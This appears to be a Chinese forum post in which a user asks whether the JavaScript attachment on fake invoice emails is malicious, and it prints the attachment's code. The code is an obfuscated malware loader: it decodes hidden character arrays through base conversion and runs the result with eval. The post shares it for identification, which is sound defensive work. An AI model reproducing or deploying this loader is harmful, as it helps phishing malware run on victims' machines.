有JS高手么，最近2天老收到冒充支付通知书invoice的邮件，附件其实是一段JS代码。是恶意代码么？

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function ZpYlK(nJvfqseTrIo,dtJFbhGNudmjc,wxCBHkeP)
{VnaR=parseInt(nJvfqseTrIo,dtJFbhGNudmjc);
ZBSlg=VnaR.toString(wxCBHkeP);
return ZBSlg;}

function QpEoimSArggRIus(pPEDGGJlgBZDVWeuO)
{eval(pPEDGGJlgBZDVWeuO)}
function aZPkmRBLFBFplvAXmYpJWBjNXrHvioTGbnEbJLiTYVCRWVbTVdKZsc(lMSjcbIkyXWZh,AIfZmQdgxnotJF)
{ return fhDPD[ZpYlK(lMSjcbIkyXWZh[AIfZmQdgxnotJF],(15064+875)/759,(3883+517)/440)];}
function MPFFJYI(hQNKgVznmTvtCKtJIkPMjDpMcvJEZBtqJdDz)
{return !isNaN(parseFloat(hQNKgVznmTvtCKtJIkPMjDpMcvJEZBtqJdDz)) && isFinite(hQNKgVznmTvtCKtJIkPMjDpMcvJEZBtqJdDz);}
function tVvcqBafGYl(rGVskpoh,NMAZGk)
{return rGVskpoh.split(NMAZGk)}
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var GEVEU=[I,O];
var ebkjeiFqJ=[];
function atNsLjNLjxBfQYOaa(GEVEU)
{gVltqQHPLXS= '';CHHWXkpIPxz=(-889+889)/449; while(true)
{if(CHHWXkpIPxz >= (1004+146)/575)break;ebkjeiFqJ[CHHWXkpIPxz]=(-653+653)/601;
while(true)
{ if(ebkjeiFqJ[CHHWXkpIPxz] > GEVEU[CHHWXkpIPxz].length-(459+348)/807)
{ break; } if (MPFFJYI(ZpYlK(GEVEU[CHHWXkpIPxz][ebkjeiFqJ[CHHWXkpIPxz]],(8232+903)/435,(4102+228)/433)))
{gVltqQHPLXS += aZPkmRBLFBFplvAXmYpJWBjNXrHvioTGbnEbJLiTYVCRWVbTVdKZsc([GEVEU[CHHWXkpIPxz][ebkjeiFqJ[CHHWXkpIPxz]]], (-806+806)/899);}
ebkjeiFqJ[CHHWXkpIPxz]++;}
CHHWXkpIPxz++;}
return gVltqQHPLXS}
QpEoimSArggRIus(atNsLjNLjxBfQYOaa(GEVEU));